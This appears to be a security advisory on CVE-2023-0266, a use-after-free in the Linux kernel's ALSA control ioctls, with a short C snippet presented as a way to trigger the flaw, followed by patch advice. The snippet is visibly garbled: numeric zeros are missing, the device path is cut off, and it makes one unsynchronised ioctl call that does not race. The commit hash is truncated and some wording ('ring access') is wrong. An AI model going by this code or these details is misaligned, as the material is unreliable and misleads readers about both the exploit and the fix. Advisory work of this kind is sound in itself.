A critical vulnerability (CVE-2023-0266) has been discovered in the ALSA (Advanced Linux Sound Architecture) PCM package of the Linux Kernel. This vulnerability is a use-after-free (UAF) issue that arises due to a missing lock in the SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32. Attackers who can exploit this vulnerability may potentially gain ring access to the system user and escalate their privileges. We strongly recommend upgrading to a version past commit 56b88b50565cd8b946a2d00bc83927b7ebb055e to patch this vulnerability.

Code Snippet

The ALSA PCM package is responsible for managing audio data and controlling the audio devices in the Linux Kernel. The vulnerability lies in the ioctl functions SNDRV_CTL_IOCTL_ELEM_READ32 and SNDRV_CTL_IOCTL_ELEM_WRITE32. Here is an example of how the vulnerability can be exploited using code snippets:

struct snd_ctl_elem_id32 {
    __u32 numid;
    __u32 iface;
    __u32 device;
    __u32 subdevice;
    char name[44];
};

struct snd_ctl_elem_value32 {
    struct snd_ctl_elem_id32 id;
    unsigned int indirection; /* playback/capture stream */
    unsigned int value;
};

static int uaf_trigger_read() {
    int fd = open("/dev/snd/controlC", O_RDWR);
    if (fd < ) {
        printf("[-] Failed to open control device.\n");
        return -1;
    }

    struct snd_ctl_elem_value32 value;
    memset(&value, , sizeof(value));

    if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_READ32, &value) < ) {
        printf("[-] Failed to trigger the vulnerability.\n");
        close(fd);
        return -1;
    }

    close(fd);
    return ;
}

The missing lock in the control element read/write operation can lead to a use-after-free situation. For more technical details on the vulnerability, please refer to the original references 1 and 2.

Exploit Details

An attacker leveraging this vulnerability can potentially exploit it to execute arbitrary code in the kernel space or even escalate their privileges to gain complete control over the system. However, this exploit requires specific knowledge of the Linux kernel internals, the target system's configuration, and the memory layout.

Mitigation

To patch this vulnerability, users are strongly advised to update their Linux Kernel to a version past commit 56b88b50565cd8b946a2d00bc83927b7ebb055e, which includes the required lock to prevent the use-after-free vulnerability from being exploited. Additionally, users should regularly apply security updates and avoid running untrusted code on their systems.

Conclusion

CVE-2023-0266 is a critical use-after-free vulnerability in the ALSA PCM package of the Linux Kernel. To safeguard your systems from potential attacks, ensure that you are using a Linux Kernel version that is updated past the aforementioned commit. Stay vigilant as new vulnerabilities continue to emerge and update your systems accordingly to maintain secure operations of your devices.

References

1. Linux kernel commit 56b88b50565cd8b946a2d00bc83927b7ebb055e
2. CVE-2023-0266 details on MITRE

Timeline

Published on: 01/30/2023 14:15:00 UTC
Last modified on: 02/06/2023 21:47:00 UTC